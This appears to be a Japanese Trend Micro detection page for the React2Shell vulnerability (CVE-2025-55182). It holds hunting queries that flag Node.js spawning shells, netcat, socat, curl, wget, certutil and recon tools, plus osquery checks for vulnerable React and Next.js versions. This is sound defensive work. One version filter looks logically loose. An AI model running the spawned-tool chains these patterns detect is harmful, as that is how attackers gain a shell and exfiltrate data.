進化し続ける脅威に先回りして対応するために、トレンドマイクロのお客様はTrend Vision One™ Threat Insightsにアクセスできます。ここでは、新たに出現する脅威や攻撃者に関する最新の知見が、トレンドマイクロのリサーチから提供されています。
新たな脅威:React2Shell in the Wild (CVE-2025-55182): Payloads, Active Campaigns, and IoCs
ハンティングクエリ
Trend Vision Oneのお客様は、Search Appを利用して、本稿で取り上げた悪意あるインジケータ(IoC)を自社環境内のデータと照合し、ハンティングを実施できます。
Linux向けハンティングクエリ:
NodeJSがネットワークやシェルツールを起動しているケース - Linux
eventSubId:2 AND (parentFilePath:"*/node" AND (processFilePath:"*/sh" OR processFilePath:"*/bash" OR processFilePath:"*/dash" OR processFilePath:"*/busybox")) AND (objectFilePath:"*/bash" OR objectFilePath:"*/dash" OR objectFilePath:"*/sh" OR objectFilePath:"*/zsh" OR objectFilePath:"*/ksh" OR objectFilePath:"*/csh" OR objectFilePath:"*/nc" OR objectFilePath:"*/netcat" OR objectFilePath:"*/socat" OR objectFilePath:"*/curl" OR objectFilePath:"*/wget" OR objectFilePath:"*/ssh" OR objectFilePath:"*/scp" OR objectFilePath:"*/rsync" OR objectFilePath:"*/ncat")
NodeJSがファイルアクセスやスクリプトツールを起動しているケース - Linux
eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")
NodeJSがファイルアクセスやスクリプトツールを起動しているケース – Linux
eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")
注: これらのクエリは誤検知を含む可能性があります。環境ごとに通常のNodeプロセスチェーンがどのようなものかを確認する必要があります。
Windows向けハンティングクエリ:
NodeJSが実行系やスクリプトツールを起動しているケース - Windows
eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\cmd.exe" OR processFilePath:"*\powershell.exe" OR processFilePath:"*\powershell_ise.exe" OR processFilePath:"*\pwsh.exe" OR processFilePath:"*\wscript.exe" OR processFilePath:"*\cscript.exe" OR processFilePath:"*\mshta.exe" OR processFilePath:"*\rundll32.exe" OR processFilePath:"*\regsvr32.exe" OR processFilePath:"*\msiexec.exe" OR processFilePath:"*\wmic.exe" OR processFilePath:"*\reg.exe" OR processFilePath:"*\schtasks.exe" OR processFilePath:"*\sc.exe" OR processFilePath:"*\certutil.exe" OR processFilePath:"*\bitsadmin.exe" OR processFilePath:"*\curl.exe" OR processFilePath:"*\wget.exe" OR processFilePath:"*\ftp.exe" OR processFilePath:"*\tftp.exe")
NodeJSが偵察系やネットワークツールを起動しているケース - Windows
eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\whoami.exe" OR processFilePath:"*\quser.exe" OR processFilePath:"*\hostname.exe" OR processFilePath:"*\systeminfo.exe" OR processFilePath:"*\ipconfig.exe" OR processFilePath:"*\nslookup.exe" OR processFilePath:"*\netstat.exe" OR processFilePath:"*\ping.exe" OR processFilePath:"*\nltest.exe" OR processFilePath:"*\tasklist.exe" OR processFilePath:"*\taskkill.exe" OR processFilePath:"*\net.exe" OR processFilePath:"*\net1.exe" OR processFilePath:"*\findstr.exe")
注: これらのクエリは誤検知を含む可能性があります。環境ごとに通常のNodeプロセスチェーンがどのようなものかを確認する必要があります。
Trend Vision One™ Forensics
Trend Vision One™ Forensicsは、エンドポイントからのデジタル証拠収集を自動化し、収集したデータをワークスペース内で整理し、YARAおよびosqueryを用いてエンドポイントを迅速にトリアージします。
脆弱なNextJSバージョンがデプロイされているbpmパッケージの確認
SELECT name, version, directory, path
FROM npm_packages
WHERE name = 'next'
AND ( (version LIKE '15.%' AND version < '15.1.3') OR version LIKE '16.%' OR version >= '14.3.0-canary.77');
脆弱なReactJSバージョンがデプロイされているnpmパッケージの確認
SELECT name, version, directory, path, description FROM npm_packages
WHERE name IN ( 'react', 'react-dom', 'react-server-dom-webpack', 'react-server-dom-parcel', 'react-server-dom-turbopack' )
AND ( version = '19.0.0' OR version IN ('19.1.0', '19.1.1', '19.2.0') );
侵入の痕跡(Indicators of Compromise: IoC)
本稿に関連する侵入の痕跡はこちらで確認できます。
参考記事:
CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation
By: Peter Girnus, Deep Patel, Jack Walsh, Lucas Silva, Ashish Verma
翻訳:与那城 務(Platform Marketing, Trend Micro™ Research)